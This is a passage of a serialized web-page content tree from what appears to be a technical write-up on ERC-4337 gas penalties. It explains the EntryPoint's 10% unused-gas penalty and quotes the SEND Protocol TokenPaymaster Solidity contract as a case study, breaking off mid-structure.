Costs",{"type":23,"tag":24,"props":102608,"children":102609},{},[102610,102612,102617,102619,102624,102626,102631,102633,102640],{"type":28,"value":102611},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":37,"props":102613,"children":102615},{"className":102614},[],[102616],{"type":28,"value":101981},{"type":28,"value":102618},". When a ",{"type":23,"tag":37,"props":102620,"children":102622},{"className":102621},[],[102623],{"type":28,"value":101900},{"type":28,"value":102625}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":37,"props":102627,"children":102629},{"className":102628},[],[102630],{"type":28,"value":101981},{"type":28,"value":102632}," charges a ",{"type":23,"tag":458,"props":102634,"children":102637},{"href":102635,"rel":102636},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[462],[102638],{"type":28,"value":102639},"penalty of 10%",{"type":28,"value":102641}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":102643,"children":102644},{},[102645],{"type":28,"value":102646},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":31,"props":102648,"children":102650},{"className":34,"code":102649,"language":16,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[102651],{"type":23,"tag":37,"props":102652,"children":102653},{"__ignoreMap":7},[102654,102698,102705,102762,102770,102778,102820,102827,102839,102861,102882,102912,102963,102993,103014,103052,103091,103108,103147,103171,103188,103231,103253,103270,103287,103294,103301,103327,103344,103379,103410,103422,103469,103476,103483,103490,103557,103564,103571,103578,103589,103608,103627,103691,103714,103747,103762,103797,103805,103844,103869,103890,103898,103925,103952,103960,103968,104010,104017,104024,104048,104064,104071,104078,104096,104109,104116,104124],{"type":23,"tag":41,"props":102655,"children":102656},{"class":43,"line":44},[102657,102661,102666,102671,102676,102680,102685,102689,102694],{"type":23,"tag":41,"props":102658,"children":102659},{"style":64},[102660],{"type":28,"value":91},{"type":23,"tag":41,"props":102662,"children":102663},{"style":94},[102664],{"type":28,"value":102665}," TokenPaymaster",{"type":23,"tag":41,"props":102667,"children":102668},{"style":64},[102669],{"type":28,"value":102670}," is",{"type":23,"tag":41,"props":102672,"children":102673},{"style":94},[102674],{"type":28,"value":102675}," BasePaymaster",{"type":23,"tag":41,"props":102677,"children":102678},{"style":70},[102679],{"type":28,"value":970},{"type":23,"tag":41,"props":102681,"children":102682},{"style":94},[102683],{"type":28,"value":102684},"UniswapHelper",{"type":23,"tag":41,"props":102686,"children":102687},{"style":70},[102688],{"type":28,"value":970},{"type":23,"tag":41,"props":102690,"children":102691},{"style":94},[102692],{"type":28,"value":102693},"OracleHelper",{"type":23,"tag":41,"props":102695,"children":102696},{"style":70},[102697],{"type":28,"value":102},{"type":23,"tag":41,"props":102699,"children":102700},{"class":43,"line":54},[102701],{"type":23,"tag":41,"props":102702,"children":102703},{"style":70},[102704],{"type":28,"value":10316},{"type":23,"tag":41,"props":102706,"children":102707},{"class":43,"line":76},[102708,102712,102717,102721,102726,102731,102736,102740,102745,102749,102753,102758],{"type":23,"tag":41,"props":102709,"children":102710},{"style":64},[102711],{"type":28,"value":111},{"type":23,"tag":41,"props":102713,"children":102714},{"style":114},[102715],{"type":28,"value":102716}," _validatePaymasterUserOp",{"type":23,"tag":41,"props":102718,"children":102719},{"style":70},[102720],{"type":28,"value":1737},{"type":23,"tag":41,"props":102722,"children":102723},{"style":64},[102724],{"type":28,"value":102725},"PackedUserOperation",{"type":23,"tag":41,"props":102727,"children":102728},{"style":64},[102729],{"type":28,"value":102730}," calldata",{"type":23,"tag":41,"props":102732,"children":102733},{"style":858},[102734],{"type":28,"value":102735}," userOp",{"type":23,"tag":41,"props":102737,"children":102738},{"style":70},[102739],{"type":28,"value":970},{"type":23,"tag":41,"props":102741,"children":102742},{"style":94},[102743],{"type":28,"value":102744},"bytes32",{"type":23,"tag":41,"props":102746,"children":102747},{"style":70},[102748],{"type":28,"value":970},{"type":23,"tag":41,"props":102750,"children":102751},{"style":94},[102752],{"type":28,"value":147},{"type":23,"tag":41,"props":102754,"children":102755},{"style":858},[102756],{"type":28,"value":102757}," requiredPreFund",{"type":23,"tag":41,"props":102759,"children":102760},{"style":70},[102761],{"type":28,"value":1969},{"type":23,"tag":41,"props":102763,"children":102764},{"class":43,"line":85},[102765],{"type":23,"tag":41,"props":102766,"children":102767},{"style":64},[102768],{"type":28,"value":102769},"        internal\n",{"type":23,"tag":41,"props":102771,"children":102772},{"class":43,"line":105},[102773],{"type":23,"tag":41,"props":102774,"children":102775},{"style":64},[102776],{"type":28,"value":102777},"        override\n",{"type":23,"tag":41,"props":102779,"children":102780},{"class":43,"line":155},[102781,102786,102790,102794,102799,102803,102807,102811,102816],{"type":23,"tag":41,"props":102782,"children":102783},{"style":58},[102784],{"type":28,"value":102785},"        returns",{"type":23,"tag":41,"props":102787,"children":102788},{"style":70},[102789],{"type":28,"value":142},{"type":23,"tag":41,"props":102791,"children":102792},{"style":94},[102793],{"type":28,"value":83822},{"type":23,"tag":41,"props":102795,"children":102796},{"style":64},[102797],{"type":28,"value":102798}," memory",{"type":23,"tag":41,"props":102800,"children":102801},{"style":858},[102802],{"type":28,"value":76335},{"type":23,"tag":41,"props":102804,"children":102805},{"style":70},[102806],{"type":28,"value":970},{"type":23,"tag":41,"props":102808,"children":102809},{"style":94},[102810],{"type":28,"value":147},{"type":23,"tag":41,"props":102812,"children":102813},{"style":858},[102814],{"type":28,"value":102815}," validationResult",{"type":23,"tag":41,"props":102817,"children":102818},{"style":70},[102819],{"type":28,"value":1969},{"type":23,"tag":41,"props":102821,"children":102822},{"class":43,"line":186},[102823],{"type":23,"tag":41,"props":102824,"children":102825},{"style":70},[102826],{"type":28,"value":1711},{"type":23,"tag":41,"props":102828,"children":102829},{"class":43,"line":195},[102830,102835],{"type":23,"tag":41,"props":102831,"children":102832},{"style":58},[102833],{"type":28,"value":102834},"        unchecked",{"type":23,"tag":41,"props":102836,"children":102837},{"style":70},[102838],{"type":28,"value":102},{"type":23,"tag":41,"props":102840,"children":102841},{"class":43,"line":905},[102842,102847,102852,102856],{"type":23,"tag":41,"props":102843,"children":102844},{"style":94},[102845],{"type":28,"value":102846},"            uint256",{"type":23,"tag":41,"props":102848,"children":102849},{"style":70},[102850],{"type":28,"value":102851}," priceMarkup ",{"type":23,"tag":41,"props":102853,"children":102854},{"style":170},[102855],{"type":28,"value":2381},{"type":23,"tag":41,"props":102857,"children":102858},{"style":70},[102859],{"type":28,"value":102860}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":41,"props":102862,"children":102863},{"class":43,"line":922},[102864,102868,102873,102877],{"type":23,"tag":41,"props":102865,"children":102866},{"style":94},[102867],{"type":28,"value":102846},{"type":23,"tag":41,"props":102869,"children":102870},{"style":70},[102871],{"type":28,"value":102872}," baseFee ",{"type":23,"tag":41,"props":102874,"children":102875},{"style":170},[102876],{"type":28,"value":2381},{"type":23,"tag":41,"props":102878,"children":102879},{"style":70},[102880],{"type":28,"value":102881}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":41,"props":102883,"children":102884},{"class":43,"line":930},[102885,102889,102894,102898,102903,102907],{"type":23,"tag":41,"props":102886,"children":102887},{"style":94},[102888],{"type":28,"value":102846},{"type":23,"tag":41,"props":102890,"children":102891},{"style":70},[102892],{"type":28,"value":102893}," dataLength ",{"type":23,"tag":41,"props":102895,"children":102896},{"style":170},[102897],{"type":28,"value":2381},{"type":23,"tag":41,"props":102899,"children":102900},{"style":70},[102901],{"type":28,"value":102902}," userOp.paymasterAndData.length ",{"type":23,"tag":41,"props":102904,"children":102905},{"style":170},[102906],{"type":28,"value":4329},{"type":23,"tag":41,"props":102908,"children":102909},{"style":70},[102910],{"type":28,"value":102911}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":41,"props":102913,"children":102914},{"class":43,"line":939},[102915,102920,102925,102929,102933,102937,102941,102945,102950,102954,102959],{"type":23,"tag":41,"props":102916,"children":102917},{"style":58},[102918],{"type":28,"value":102919},"            require",{"type":23,"tag":41,"props":102921,"children":102922},{"style":70},[102923],{"type":28,"value":102924},"(dataLength ",{"type":23,"tag":41,"props":102926,"children":102927},{"style":170},[102928],{"type":28,"value":387},{"type":23,"tag":41,"props":102930,"children":102931},{"style":164},[102932],{"type":28,"value":392},{"type":23,"tag":41,"props":102934,"children":102935},{"style":170},[102936],{"type":28,"value":23695},{"type":23,"tag":41,"props":102938,"children":102939},{"style":70},[102940],{"type":28,"value":102893},{"type":23,"tag":41,"props":102942,"children":102943},{"style":170},[102944],{"type":28,"value":387},{"type":23,"tag":41,"props":102946,"children":102947},{"style":164},[102948],{"type":28,"value":102949}," 32",{"type":23,"tag":41,"props":102951,"children":102952},{"style":70},[102953],{"type":28,"value":970},{"type":23,"tag":41,"props":102955,"children":102956},{"style":735},[102957],{"type":28,"value":102958},"\"TPM: invalid data length\"",{"type":23,"tag":41,"props":102960,"children":102961},{"style":70},[102962],{"type":28,"value":3825},{"type":23,"tag":41,"props":102964,"children":102965},{"class":43,"line":947},[102966,102970,102975,102979,102984,102989],{"type":23,"tag":41,"props":102967,"children":102968},{"style":94},[102969],{"type":28,"value":102846},{"type":23,"tag":41,"props":102971,"children":102972},{"style":70},[102973],{"type":28,"value":102974}," maxFeePerGas ",{"type":23,"tag":41,"props":102976,"children":102977},{"style":170},[102978],{"type":28,"value":2381},{"type":23,"tag":41,"props":102980,"children":102981},{"style":70},[102982],{"type":28,"value":102983}," userOp.",{"type":23,"tag":41,"props":102985,"children":102986},{"style":114},[102987],{"type":28,"value":102988},"unpackMaxFeePerGas",{"type":23,"tag":41,"props":102990,"children":102991},{"style":70},[102992],{"type":28,"value":3669},{"type":23,"tag":41,"props":102994,"children":102995},{"class":43,"line":985},[102996,103000,103005,103009],{"type":23,"tag":41,"props":102997,"children":102998},{"style":94},[102999],{"type":28,"value":102846},{"type":23,"tag":41,"props":103001,"children":103002},{"style":70},[103003],{"type":28,"value":103004}," refundPostopCost ",{"type":23,"tag":41,"props":103006,"children":103007},{"style":170},[103008],{"type":28,"value":2381},{"type":23,"tag":41,"props":103010,"children":103011},{"style":70},[103012],{"type":28,"value":103013}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":41,"props":103015,"children":103016},{"class":43,"line":1058},[103017,103021,103026,103030,103034,103039,103043,103048],{"type":23,"tag":41,"props":103018,"children":103019},{"style":58},[103020],{"type":28,"value":102919},{"type":23,"tag":41,"props":103022,"children":103023},{"style":70},[103024],{"type":28,"value":103025},"(refundPostopCost ",{"type":23,"tag":41,"props":103027,"children":103028},{"style":170},[103029],{"type":28,"value":1012},{"type":23,"tag":41,"props":103031,"children":103032},{"style":70},[103033],{"type":28,"value":102983},{"type":23,"tag":41,"props":103035,"children":103036},{"style":114},[103037],{"type":28,"value":103038},"unpackPostOpGasLimit",{"type":23,"tag":41,"props":103040,"children":103041},{"style":70},[103042],{"type":28,"value":18363},{"type":23,"tag":41,"props":103044,"children":103045},{"style":735},[103046],{"type":28,"value":103047},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":41,"props":103049,"children":103050},{"style":70},[103051],{"type":28,"value":3825},{"type":23,"tag":41,"props":103053,"children":103054},{"class":43,"line":1084},[103055,103059,103064,103068,103073,103077,103082,103086],{"type":23,"tag":41,"props":103056,"children":103057},{"style":94},[103058],{"type":28,"value":102846},{"type":23,"tag":41,"props":103060,"children":103061},{"style":70},[103062],{"type":28,"value":103063}," preChargeNative ",{"type":23,"tag":41,"props":103065,"children":103066},{"style":170},[103067],{"type":28,"value":2381},{"type":23,"tag":41,"props":103069,"children":103070},{"style":70},[103071],{"type":28,"value":103072}," requiredPreFund ",{"type":23,"tag":41,"props":103074,"children":103075},{"style":170},[103076],{"type":28,"value":4383},{"type":23,"tag":41,"props":103078,"children":103079},{"style":70},[103080],{"type":28,"value":103081}," (refundPostopCost ",{"type":23,"tag":41,"props":103083,"children":103084},{"style":170},[103085],{"type":28,"value":377},{"type":23,"tag":41,"props":103087,"children":103088},{"style":70},[103089],{"type":28,"value":103090}," maxFeePerGas);\n",{"type":23,"tag":41,"props":103092,"children":103093},{"class":43,"line":1102},[103094,103099,103103],{"type":23,"tag":41,"props":103095,"children":103096},{"style":48},[103097],{"type":28,"value":103098},"            // ",{"type":23,"tag":41,"props":103100,"children":103101},{"style":64},[103102],{"type":28,"value":66754},{"type":23,"tag":41,"props":103104,"children":103105},{"style":48},[103106],{"type":28,"value":103107},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":41,"props":103109,"children":103110},{"class":43,"line":1110},[103111,103115,103120,103124,103129,103133,103138,103142],{"type":23,"tag":41,"props":103112,"children":103113},{"style":94},[103114],{"type":28,"value":102846},{"type":23,"tag":41,"props":103116,"children":103117},{"style":70},[103118],{"type":28,"value":103119}," cachedPriceWithMarkup ",{"type":23,"tag":41,"props":103121,"children":103122},{"style":170},[103123],{"type":28,"value":2381},{"type":23,"tag":41,"props":103125,"children":103126},{"style":70},[103127],{"type":28,"value":103128}," cachedPrice ",{"type":23,"tag":41,"props":103130,"children":103131},{"style":170},[103132],{"type":28,"value":377},{"type":23,"tag":41,"props":103134,"children":103135},{"style":70},[103136],{"type":28,"value":103137}," DENOM ",{"type":23,"tag":41,"props":103139,"children":103140},{"style":170},[103141],{"type":28,"value":4579},{"type":23,"tag":41,"props":103143,"children":103144},{"style":70},[103145],{"type":28,"value":103146}," priceMarkup;\n",{"type":23,"tag":41,"props":103148,"children":103149},{"class":43,"line":1118},[103150,103154,103159,103163,103167],{"type":23,"tag":41,"props":103151,"children":103152},{"style":58},[103153],{"type":28,"value":58797},{"type":23,"tag":41,"props":103155,"children":103156},{"style":70},[103157],{"type":28,"value":103158}," (dataLength ",{"type":23,"tag":41,"props":103160,"children":103161},{"style":170},[103162],{"type":28,"value":387},{"type":23,"tag":41,"props":103164,"children":103165},{"style":164},[103166],{"type":28,"value":102949},{"type":23,"tag":41,"props":103168,"children":103169},{"style":70},[103170],{"type":28,"value":152},{"type":23,"tag":41,"props":103172,"children":103173},{"class":43,"line":1137},[103174,103179,103184],{"type":23,"tag":41,"props":103175,"children":103176},{"style":94},[103177],{"type":28,"value":103178},"                uint256",{"type":23,"tag":41,"props":103180,"children":103181},{"style":70},[103182],{"type":28,"value":103183}," clientSuppliedPrice ",{"type":23,"tag":41,"props":103185,"children":103186},{"style":170},[103187],{"type":28,"value":14685},{"type":23,"tag":41,"props":103189,"children":103190},{"class":43,"line":1163},[103191,103196,103200,103204,103209,103213,103218,103222,103226],{"type":23,"tag":41,"props":103192,"children":103193},{"style":94},[103194],{"type":28,"value":103195},"                    uint256",{"type":23,"tag":41,"props":103197,"children":103198},{"style":70},[103199],{"type":28,"value":1737},{"type":23,"tag":41,"props":103201,"children":103202},{"style":94},[103203],{"type":28,"value":102744},{"type":23,"tag":41,"props":103205,"children":103206},{"style":70},[103207],{"type":28,"value":103208},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":41,"props":103210,"children":103211},{"style":170},[103212],{"type":28,"value":1474},{"type":23,"tag":41,"props":103214,"children":103215},{"style":70},[103216],{"type":28,"value":103217},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":41,"props":103219,"children":103220},{"style":170},[103221],{"type":28,"value":4383},{"type":23,"tag":41,"props":103223,"children":103224},{"style":164},[103225],{"type":28,"value":102949},{"type":23,"tag":41,"props":103227,"children":103228},{"style":70},[103229],{"type":28,"value":103230},"]));\n",{"type":23,"tag":41,"props":103232,"children":103233},{"class":43,"line":1188},[103234,103239,103244,103248],{"type":23,"tag":41,"props":103235,"children":103236},{"style":58},[103237],{"type":28,"value":103238},"                if",{"type":23,"tag":41,"props":103240,"children":103241},{"style":70},[103242],{"type":28,"value":103243}," (clientSuppliedPrice ",{"type":23,"tag":41,"props":103245,"children":103246},{"style":170},[103247],{"type":28,"value":1012},{"type":23,"tag":41,"props":103249,"children":103250},{"style":70},[103251],{"type":28,"value":103252}," cachedPriceWithMarkup) {\n",{"type":23,"tag":41,"props":103254,"children":103255},{"class":43,"line":1979},[103256,103261,103265],{"type":23,"tag":41,"props":103257,"children":103258},{"style":48},[103259],{"type":28,"value":103260},"                    // ",{"type":23,"tag":41,"props":103262,"children":103263},{"style":64},[103264],{"type":28,"value":66754},{"type":23,"tag":41,"props":103266,"children":103267},{"style":48},[103268],{"type":28,"value":103269},": smaller number means 'more native asset per token'\n",{"type":23,"tag":41,"props":103271,"children":103272},{"class":43,"line":2002},[103273,103278,103282],{"type":23,"tag":41,"props":103274,"children":103275},{"style":70},[103276],{"type":28,"value":103277},"                    cachedPriceWithMarkup ",{"type":23,"tag":41,"props":103279,"children":103280},{"style":170},[103281],{"type":28,"value":2381},{"type":23,"tag":41,"props":103283,"children":103284},{"style":70},[103285],{"type":28,"value":103286}," clientSuppliedPrice;\n",{"type":23,"tag":41,"props":103288,"children":103289},{"class":43,"line":3835},[103290],{"type":23,"tag":41,"props":103291,"children":103292},{"style":70},[103293],{"type":28,"value":71066},{"type":23,"tag":41,"props":103295,"children":103296},{"class":43,"line":3895},[103297],{"type":23,"tag":41,"props":103298,"children":103299},{"style":70},[103300],{"type":28,"value":58881},{"type":23,"tag":41,"props":103302,"children":103303},{"class":43,"line":9044},[103304,103308,103313,103317,103322],{"type":23,"tag":41,"props":103305,"children":103306},{"style":94},[103307],{"type":28,"value":102846},{"type":23,"tag":41,"props":103309,"children":103310},{"style":70},[103311],{"type":28,"value":103312}," tokenAmount ",{"type":23,"tag":41,"props":103314,"children":103315},{"style":170},[103316],{"type":28,"value":2381},{"type":23,"tag":41,"props":103318,"children":103319},{"style":114},[103320],{"type":28,"value":103321}," weiToToken",{"type":23,"tag":41,"props":103323,"children":103324},{"style":70},[103325],{"type":28,"value":103326},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":41,"props":103328,"children":103329},{"class":43,"line":9061},[103330,103335,103339],{"type":23,"tag":41,"props":103331,"children":103332},{"style":70},[103333],{"type":28,"value":103334},"            tokenAmount ",{"type":23,"tag":41,"props":103336,"children":103337},{"style":170},[103338],{"type":28,"value":68433},{"type":23,"tag":41,"props":103340,"children":103341},{"style":70},[103342],{"type":28,"value":103343}," baseFee;\n",{"type":23,"tag":41,"props":103345,"children":103346},{"class":43,"line":9106},[103347,103352,103357,103362,103366,103370,103374],{"type":23,"tag":41,"props":103348,"children":103349},{"style":70},[103350],{"type":28,"value":103351},"            SafeERC20.",{"type":23,"tag":41,"props":103353,"children":103354},{"style":114},[103355],{"type":28,"value":103356},"safeTransferFrom",{"type":23,"tag":41,"props":103358,"children":103359},{"style":70},[103360],{"type":28,"value":103361},"(token, userOp.sender, ",{"type":23,"tag":41,"props":103363,"children":103364},{"style":94},[103365],{"type":28,"value":32634},{"type":23,"tag":41,"props":103367,"children":103368},{"style":70},[103369],{"type":28,"value":1737},{"type":23,"tag":41,"props":103371,"children":103372},{"style":64},[103373],{"type":28,"value":17680},{"type":23,"tag":41,"props":103375,"children":103376},{"style":70},[103377],{"type":28,"value":103378},"), tokenAmount);\n",{"type":23,"tag":41,"props":103380,"children":103381},{"class":43,"line":9212},[103382,103387,103391,103396,103400,103405],{"type":23,"tag":41,"props":103383,"children":103384},{"style":70},[103385],{"type":28,"value":103386},"            context ",{"type":23,"tag":41,"props":103388,"children":103389},{"style":170},[103390],{"type":28,"value":2381},{"type":23,"tag":41,"props":103392,"children":103393},{"style":64},[103394],{"type":28,"value":103395}," abi",{"type":23,"tag":41,"props":103397,"children":103398},{"style":70},[103399],{"type":28,"value":706},{"type":23,"tag":41,"props":103401,"children":103402},{"style":114},[103403],{"type":28,"value":103404},"encode",{"type":23,"tag":41,"props":103406,"children":103407},{"style":70},[103408],{"type":28,"value":103409},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":41,"props":103411,"children":103412},{"class":43,"line":23496},[103413,103418],{"type":23,"tag":41,"props":103414,"children":103415},{"style":70},[103416],{"type":28,"value":103417},"            validationResult ",{"type":23,"tag":41,"props":103419,"children":103420},{"style":170},[103421],{"type":28,"value":14685},{"type":23,"tag":41,"props":103423,"children":103424},{"class":43,"line":23531},[103425,103430,103434,103438,103442,103447,103452,103456,103461,103465],{"type":23,"tag":41,"props":103426,"children":103427},{"style":114},[103428],{"type":28,"value":103429},"                _packValidationData",{"type":23,"tag":41,"props":103431,"children":103432},{"style":70},[103433],{"type":28,"value":1737},{"type":23,"tag":41,"props":103435,"children":103436},{"style":64},[103437],{"type":28,"value":8174},{"type":23,"tag":41,"props":103439,"children":103440},{"style":70},[103441],{"type":28,"value":970},{"type":23,"tag":41,"props":103443,"children":103444},{"style":94},[103445],{"type":28,"value":103446},"uint48",{"type":23,"tag":41,"props":103448,"children":103449},{"style":70},[103450],{"type":28,"value":103451},"(cachedPriceTimestamp ",{"type":23,"tag":41,"props":103453,"children":103454},{"style":170},[103455],{"type":28,"value":4383},{"type":23,"tag":41,"props":103457,"children":103458},{"style":70},[103459],{"type":28,"value":103460}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":41,"props":103462,"children":103463},{"style":164},[103464],{"type":28,"value":4024},{"type":23,"tag":41,"props":103466,"children":103467},{"style":70},[103468],{"type":28,"value":3825},{"type":23,"tag":41,"props":103470,"children":103471},{"class":43,"line":23539},[103472],{"type":23,"tag":41,"props":103473,"children":103474},{"style":70},[103475],{"type":28,"value":3347},{"type":23,"tag":41,"props":103477,"children":103478},{"class":43,"line":23547},[103479],{"type":23,"tag":41,"props":103480,"children":103481},{"style":70},[103482],{"type":28,"value":192},{"type":23,"tag":41,"props":103484,"children":103485},{"class":43,"line":23556},[103486],{"type":23,"tag":41,"props":103487,"children":103488},{"style":70},[103489],{"type":28,"value":10316},{"type":23,"tag":41,"props":103491,"children":103492},{"class":43,"line":23598},[103493,103497,103502,103506,103511,103515,103519,103523,103527,103531,103535,103540,103544,103548,103553],{"type":23,"tag":41,"props":103494,"children":103495},{"style":64},[103496],{"type":28,"value":111},{"type":23,"tag":41,"props":103498,"children":103499},{"style":114},[103500],{"type":28,"value":103501}," _postOp",{"type":23,"tag":41,"props":103503,"children":103504},{"style":70},[103505],{"type":28,"value":1737},{"type":23,"tag":41,"props":103507,"children":103508},{"style":64},[103509],{"type":28,"value":103510},"PostOpMode",{"type":23,"tag":41,"props":103512,"children":103513},{"style":70},[103514],{"type":28,"value":970},{"type":23,"tag":41,"props":103516,"children":103517},{"style":94},[103518],{"type":28,"value":83822},{"type":23,"tag":41,"props":103520,"children":103521},{"style":64},[103522],{"type":28,"value":102730},{"type":23,"tag":41,"props":103524,"children":103525},{"style":858},[103526],{"type":28,"value":76335},{"type":23,"tag":41,"props":103528,"children":103529},{"style":70},[103530],{"type":28,"value":970},{"type":23,"tag":41,"props":103532,"children":103533},{"style":94},[103534],{"type":28,"value":147},{"type":23,"tag":41,"props":103536,"children":103537},{"style":858},[103538],{"type":28,"value":103539}," actualGasCost",{"type":23,"tag":41,"props":103541,"children":103542},{"style":70},[103543],{"type":28,"value":970},{"type":23,"tag":41,"props":103545,"children":103546},{"style":94},[103547],{"type":28,"value":147},{"type":23,"tag":41,"props":103549,"children":103550},{"style":858},[103551],{"type":28,"value":103552}," actualUserOpFeePerGas",{"type":23,"tag":41,"props":103554,"children":103555},{"style":70},[103556],{"type":28,"value":1969},{"type":23,"tag":41,"props":103558,"children":103559},{"class":43,"line":23631},[103560],{"type":23,"tag":41,"props":103561,"children":103562},{"style":64},[103563],{"type":28,"value":102769},{"type":23,"tag":41,"props":103565,"children":103566},{"class":43,"line":23639},[103567],{"type":23,"tag":41,"props":103568,"children":103569},{"style":64},[103570],{"type":28,"value":102777},{"type":23,"tag":41,"props":103572,"children":103573},{"class":43,"line":23647},[103574],{"type":23,"tag":41,"props":103575,"children":103576},{"style":70},[103577],{"type":28,"value":1711},{"type":23,"tag":41,"props":103579,"children":103580},{"class":43,"line":23656},[103581,103585],{"type":23,"tag":41,"props":103582,"children":103583},{"style":58},[103584],{"type":28,"value":102834},{"type":23,"tag":41,"props":103586,"children":103587},{"style":70},[103588],{"type":28,"value":102},{"type":23,"tag":41,"props":103590,"children":103591},{"class":43,"line":23732},[103592,103596,103600,103604],{"type":23,"tag":41,"props":103593,"children":103594},{"style":94},[103595],{"type":28,"value":102846},{"type":23,"tag":41,"props":103597,"children":103598},{"style":70},[103599],{"type":28,"value":102851},{"type":23,"tag":41,"props":103601,"children":103602},{"style":170},[103603],{"type":28,"value":2381},{"type":23,"tag":41,"props":103605,"children":103606},{"style":70},[103607],{"type":28,"value":102860},{"type":23,"tag":41,"props":103609,"children":103610},{"class":43,"line":23765},[103611,103615,103619,103623],{"type":23,"tag":41,"props":103612,"children":103613},{"style":94},[103614],{"type":28,"value":102846},{"type":23,"tag":41,"props":103616,"children":103617},{"style":70},[103618],{"type":28,"value":102872},{"type":23,"tag":41,"props":103620,"children":103621},{"style":170},[103622],{"type":28,"value":2381},{"type":23,"tag":41,"props":103624,"children":103625},{"style":70},[103626],{"type":28,"value":102881},{"type":23,"tag":41,"props":103628,"children":103629},{"class":43,"line":23773},[103630,103635,103639,103644,103648,103653,103657,103661,103665,103670,103675,103679,103683,103687],{"type":23,"tag":41,"props":103631,"children":103632},{"style":70},[103633],{"type":28,"value":103634},"            (",{"type":23,"tag":41,"props":103636,"children":103637},{"style":94},[103638],{"type":28,"value":147},{"type":23,"tag":41,"props":103640,"children":103641},{"style":70},[103642],{"type":28,"value":103643}," preCharge, ",{"type":23,"tag":41,"props":103645,"children":103646},{"style":94},[103647],{"type":28,"value":32634},{"type":23,"tag":41,"props":103649,"children":103650},{"style":70},[103651],{"type":28,"value":103652}," userOpSender) ",{"type":23,"tag":41,"props":103654,"children":103655},{"style":170},[103656],{"type":28,"value":2381},{"type":23,"tag":41,"props":103658,"children":103659},{"style":64},[103660],{"type":28,"value":103395},{"type":23,"tag":41,"props":103662,"children":103663},{"style":70},[103664],{"type":28,"value":706},{"type":23,"tag":41,"props":103666,"children":103667},{"style":114},[103668],{"type":28,"value":103669},"decode",{"type":23,"tag":41,"props":103671,"children":103672},{"style":70},[103673],{"type":28,"value":103674},"(context, 